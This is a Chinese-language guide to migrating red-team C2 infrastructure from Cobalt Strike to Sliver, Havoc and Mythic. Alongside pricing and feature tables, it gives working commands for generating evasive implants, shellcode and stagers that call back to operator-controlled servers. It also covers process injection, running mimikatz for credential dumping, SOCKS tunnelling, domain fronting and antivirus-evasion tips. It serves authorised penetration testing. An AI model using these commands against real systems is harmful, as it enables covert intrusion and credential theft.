2025红队框架选择:从Cobalt Strike到开源Sliver/Havoc的迁移指南
前言
Cobalt Strike一直是红队C2框架的事实标准,但5900美元/年的授权费和日益增长的检测率让越来越多的安全团队开始寻找替代方案。Sliver(BishopFox出品)和Havoc作为新一代开源C2框架,在功能完整性和规避能力上已经能够满足大部分红队需求。
本文基于实际项目经验,对比三大框架的差异,并给出从CS迁移到开源方案的完整步骤。
付费渗透测试平台定价对比
| 平台 | 价格 | 协议支持 | 平台支持 | 特点 |
|---|---|---|---|---|
| Cobalt Strike | $5,900/年/用户,团队版$3,500+/人/年 | HTTP/HTTPS/DNS/SMB/SSH | Windows为主 | 成熟稳定,社区资源丰富 |
| Metasploit Pro | $15,000+/年 | 多协议 | 跨平台 | 漏洞利用库最全,Web界面 |
| Canvas | $3,000+/年(不公开) | 多协议 | 跨平台 | 零日漏洞集成 |
注意:这些价格都是单用户/单团队授权。对于安全培训和研究,部分厂商提供教育优惠。
免费替代方案详解
Sliver - 现代化跨平台C2
Sliver是BishopFox开发的开源C2框架,原生支持Windows、Linux、macOS、Android多平台。使用Go语言编写,支持多种C2协议(HTTP(S)、DNS、MTLS、WireGuard、TCP),内置进程注入和BOF加载能力。
GitHub: https://github.com/BishopFox/sliver
核心优势:
- 多协议同时监听,动态切换
- 原生跨平台implant编译
- 内置规避机制(进程注入、BOF)
- 支持Teams多人协作
- 自动生成多种格式payload
Havoc C2 - 现代化界面C2
Havoc是2022年开源的C2框架,以现代Web界面和强大的Windows规避能力著称。使用Python编写的Teamserver和C语言编写的Demon植入体。
GitHub: https://github.com/HavocFramework/Havoc
核心优势:
- 现代化Web管理界面
- Demon植入体规避能力强
- 支持内网隧道和Socks代理
- 模块化架构,易于扩展
Mythic - 协作型C2
Mythic专注于团队协作,提供完善的Web界面和API接口。支持自定义payload类型和C2 profile。
GitHub: https://github.com/its-a-feature/Mythic
核心优势:
- 最强的多人协作能力
- 完善的REST API
- 高度可定制的payload和C2通道
- 活跃的社区和插件生态
完整安装与配置
一、安装Sliver
# 方式一:官方安装脚本(推荐)
curl https://sliver.sh/install| sudo bash
# 方式二:手动安装最新版
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server
# 安装依赖(ARMORY)
sudo apt install -y mingw-w64 binutils-mingw-w64 golang-x-tools
# 启动服务端
sliver-server
# 首次启动会自动生成配置和Operator证书
二、Sliver基础使用
# 在sliver控制台中操作
# 1. 生成HTTP监听器
http -L 0.0.0.0 -l 80
# 2. 生成HTTPS监听器
https -L 0.0.0.0 -l 443 --domain your-domain.com
# 3. 生成DNS监听器
dns -D your-domain.com -L 0.0.0.0
# 4. 生成植入体(Windows x64)
generate --mtls your-server-ip --os windows --arch amd64 --save /tmp/implant.exe --evasion
# 5. 生成植入体(Linux)
generate --http your-server-ip:80 --os linux --arch amd64 --save /tmp/implant
# 6. 生成植入体(macOS)
generate --https your-server-ip:443 --os darwin --arch amd64 --save /tmp/implant-mac
# 7. 生成共享库DLL(用于DLL注入)
generate --mtls your-server-ip --os windows --arch amd64 --format shared --save /tmp/implant.dll
# 8. 生成shellcode
generate --mtls your-server-ip --os windows --arch amd64 --format shellcode --save /tmp/sc.bin
三、Sliver高级功能
# 进程注入(将session注入到目标进程)
inject --pid <target-pid> --evasion
# 加载BOF(Beacon Object Files)
execute-assembly /path/to/tool.exe arg1 arg2
# 内网隧道
socks5 start 1080
# 端口转发
portfwd add -b 127.0.0.1:3389 -r <internal-host>:3389
# 文件操作
ls /path
upload /local/file /remote/path
download /remote/file /local/path
# 远程执行
execute /bin/bash -c "whoami"
shell # 获取交互式shell
四、安装Havoc C2
# 克隆仓库
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# 安装依赖
sudo apt install -y build-essential \
libssl-dev \
libfontconfig1-dev \
libglu1-mesa-dev \
libncurses5-dev \
python3-pip \
cmake \
qtbase5-dev \
qt5-qmake \
python3-dev
# 编译Teamserver(Go版本)
cd teamserver
go mod tidy
go build -o teamserver ./cmd/teamserver
cd ..
# 编译Client
cd client
pip3 install -r requirements.txt
cd ..
# 启动Teamserver
cd teamserver
sudo ./teamserver --ip 0.0.0.0 --port 40056 --password your-password
# 启动Client(新终端)
cd client
python3 ./havoc.py
五、Havoc配置与使用
在Havoc的Web界面中操作:
# Havoc Teamserver 配置文件示例 (havoc.yaotl)
Global:
Name: "Teamserver"
Port: 40056
Host: "0.0.0.0"
Operators:
- Admin:
Password: "StrongPassword123!"
Listeners:
- Name: "HTTPS Listener"
Host: "your-server-ip"
Port: 443
Type: "HTTPS"
Cert:
Cert: "/path/to/cert.pem"
Key: "/path/to/key.pem"
# 生成Demon植入体
# 在Web界面: Payloads -> Generate -> 选择架构和配置
# 支持: EXE, DLL, Shellcode, PowerShell, HTA, VBA等格式
六、安装Mythic(Docker一键部署)
# 克隆Mythic
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
# 使用Docker Compose部署(推荐)
sudo ./mythic-cli start
# 或者安装特定agent
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
# 默认访问地址:https://localhost:7443
# 默认用户名密码会在首次启动时显示
# 查看状态
sudo ./mythic-cli status
# 停止服务
sudo ./mythic-cli stop
C2框架功能对比表
| 功能 | Cobalt Strike | Sliver | Havoc | Mythic |
|---|---|---|---|---|
| 价格 | $5,900/年 | 免费 | 免费 | 免费 |
| 开源 | ❌ | ✅ | ✅ | ✅ |
| 多人协作 | ✅ Team Server | ✅ Armory | ⚠️ 基础 | ✅ 强 |
| Windows植入 | ✅ | ✅ | ✅ | ✅ |
| Linux植入 | ⚠️ | ✅ | ✅ | ✅ |
| macOS植入 | ⚠️ | ✅ | ⚠️ | ✅ |
| 协议支持 | HTTP/S/DNS/SMB/SSH | HTTP/S/DNS/MTLS/WG/TCP | HTTP/S | 多种可扩展 |
| BOF支持 | ✅ 原生 | ✅ | ❌ | ❌ |
| 进程注入 | ✅ | ✅ | ✅ | ✅ |
| 规避能力 | ⚠️ 被大量检测 | ✅ 良好 | ✅ Demon强 | ⚠️ 一般 |
| Web界面 | ❌ | ❌ | ✅ | ✅ |
| API接口 | ❌ | ✅ gRPC | ✅ | ✅ REST |
| 部署复杂度 | 简单 | 简单 | 中等 | 中等 |
| 文档质量 | ✅ 优秀 | ✅ 良好 | ⚠️ 一般 | ✅ 良好 |
| 社区资源 | ✅ 极丰富 | ✅ 增长快 | ⚠️ 较少 | ✅ 活跃 |
实战迁移方案
从Cobalt Strike迁移到Sliver
步骤一:重建基础设施
# 在VPS上部署Sliver
sudo apt update && sudo apt upgrade -y
curl https://sliver.sh/install | sudo bash
# 配置域名和证书(HTTPS监听器需要)
sudo apt install -y certbot
sudo certbot certonly --standalone -d c2.yourdomain.com
# 启动Sliver
sliver-server
步骤二:配置监听器(对应CS的Listener)
# CS的HTTP Listener -> Sliver HTTP Listener
http -L 0.0.0.0 -l 80 -w c2.yourdomain.com
# CS的HTTPS Listener -> Sliver HTTPS Listener
https -L 0.0.0.0 -l 443 -d c2.yourdomain.com
# CS的DNS Beacon -> Sliver DNS Listener
dns -D c2.yourdomain.com -L 0.0.0.0
步骤三:生成等效Payload
# CS的Staged Payload -> Sliver Staged
generate --mtls c2.yourdomain.com --os windows --arch amd64 --format exe --save payload.exe
# CS的Stageless Payload -> Sliver直接生成
generate --https c2.yourdomain.com --os windows --arch amd64 --format exe --evasion --save evasion.exe
# CS的DLL Payload -> Sliver Shared Library
generate --mtls c2.yourdomain.com --os windows --arch amd64 --format shared --save payload.dll
# CS的PowerShell -> Sliver Shellcode + 加载器
generate --mtls c2.yourdomain.com --os windows --arch amd64 --format shellcode --save shellcode.bin
# 然后使用Donut或自定义加载器执行
步骤四:等效命令映射
CS命令 -> Sliver等效命令
beacon> sleep 60 -> [session] > 60 (设置回连间隔)
beacon> shell whoami -> [session] > execute whoami
beacon> powershell Get-Process -> [session] > execute powershell Get-Process
beacon> upload -> [session] > upload
beacon> download -> [session] > download
beacon> socks 1080 -> [session] > socks5 start 1080
beacon> rportfwd -> [session] > portfwd add
beacon> spawn x64 -> [session] > migrate --pid <pid>
beacon> inject -> [session] > inject --pid <pid>
beacon> hashdump -> [session] > execute-assembly mimikatz.exe
beacon> screenshot -> 需要额外工具或自定义BOF
OPSEC注意事项
检测率对比
Cobalt Strike由于使用广泛,已被各大安全厂商深度研究。Sliver和Havoc相对而言被检测的概率较低,但这个优势会随时间递减。
# Sliver规避技巧
# 1. 使用域名前置
generate --https c2-fronted.cdn.net --c2 c2.yourdomain.com --os windows --save staged.exe
# 2. 使用malleable C2 profile
# Sliver支持自定义HTTP headers和URL paths
# 3. 组合使用多种协议
# HTTP用于常规通信,DNS用于备用信道,SMB用于横向
免杀建议
- 避免使用默认配置:修改默认的User-Agent、URL路径、HTTP Headers
- 使用合法域名:通过域名前置或合法CDN中转流量
- 加密通信:启用MTLS或WireGuard协议
- 进程注入:将shellcode注入到合法进程而非创建新进程
- 分阶段加载:第一阶段使用轻量loader,从远程拉取完整implant
# Sliver Staged模式
# 第一步:生成stage监听器
stage-listener --url https://your-domain.com/staged --profile stager
# 第二步:生成stager(很小,不易被检测)
generate --stage https://your-domain.com/staged --os windows --arch amd64 --save stager.exe
各框架适用场景
| 场景 | 推荐框架 | 原因 |
|---|---|---|
| 大型企业红队 | Sliver | 多协议、跨平台、规避能力强 |
| 快速渗透测试 | Havoc | 界面直观,上手快 |
| 长期APT模拟 | Mythic | 持久化和隐蔽性好 |
| 团队协作演练 | Sliver / Mythic | 都支持多人团队 |
| 教学培训 | Havoc | 界面友好,教学方便 |
| 预算充足的企业 | Cobalt Strike | 生态最成熟,社区资源最丰富 |
总结
2025年,开源C2框架在功能上已经非常接近Cobalt Strike。Sliver在协议支持和跨平台能力上甚至超越了CS,Havoc在Windows规避方面表现出色。对于大部分安全团队来说,选择Sliver作为主力C2框架,配合Havoc作为备选,基本可以覆盖所有红队场景。
唯一需要注意的是,开源框架的学习曲线可能比CS略陡,且社区资源(如Aggressor Script生态)暂时不如CS丰富。但随着用户增长,这些差距正在快速缩小。
建议:先把Sliver搭起来练手,找到适合自己的工作流后,再逐步替换掉付费方案。
评论